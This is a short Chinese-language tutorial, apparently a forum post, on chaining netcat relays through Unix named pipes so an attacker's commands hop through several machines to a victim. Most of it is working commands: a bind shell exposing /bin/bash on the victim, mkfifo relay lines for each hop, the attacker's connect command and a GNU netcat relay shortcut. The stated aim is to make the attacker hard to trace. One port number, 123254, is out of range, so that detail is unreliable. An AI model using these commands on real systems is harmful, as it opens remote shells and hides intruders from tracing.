netcat relay 的应用。
攻击者 -> 中继1 -> 中继2 -> 中继3 -> …… -> 受害者
5 1 2 3 …… 254 【假设都在子网192.168.0内】
黑客利用n个跳板来完成攻击,而这n个跳板分布在世界不同的国家,试问,你如何追踪他?
当然我不是为了教大家都去攻击别人,我的目的是让大家深入了解netcat这个瑞士军刀.说实在的,最初我并没有怎么觉得netcat又什么了不起,
可是愈来愈觉得它的强大,尤其是和别的工具综合使用时.好了,介绍一下图中的情景:
攻击者从192.168.0.5 输入控制命令,经过中继1传到中继2,由中继2传到中继3……,最后到达目标机.
@stake 公司的netcat没有中继的功能,但是我们可以使用unix的命名管道.
命名管道是一种先进先出(FIFO)的数据结构,它允许两个进程通过管道联接实现信息交换。命令为 mkfifo pipe_name ,如果没有这个命令,
可以使用 mknod pipe_name p
下面说一下实现过程:
1.受害主机上 nc -l -p 123254 -e /bin/bash
2.中继3上 mkfifo /tmp/backpipe
nc -l -p 1233 0 </tmp/backpipe|nc 192.168.0.254 123254 1 >/tmp/backpipe
3.中继2上 mkfifo /tmp/backpipe
nc -l -p 1232 0 </tmp/backpipe|nc 192.168.0.3 1233 1 >/tmp/backpipe
4.中继1上 mkfifo /tmp/backpipe
nc -l -p 1231 0 </tmp/backpipe|nc 192.168.0.2 1232 1 >/tmp/backpipe
5.攻击者 nc 192.168.0.1 1231
这样你就能实现多级跳了
如果你使用的是GNU的netcat就好办多了, nc -L relay_address:relay_port -p 1234 ,就可以实现在1234端口监听,并把数据转发到relay_host的relay_port端口了,如此easy,不是吗?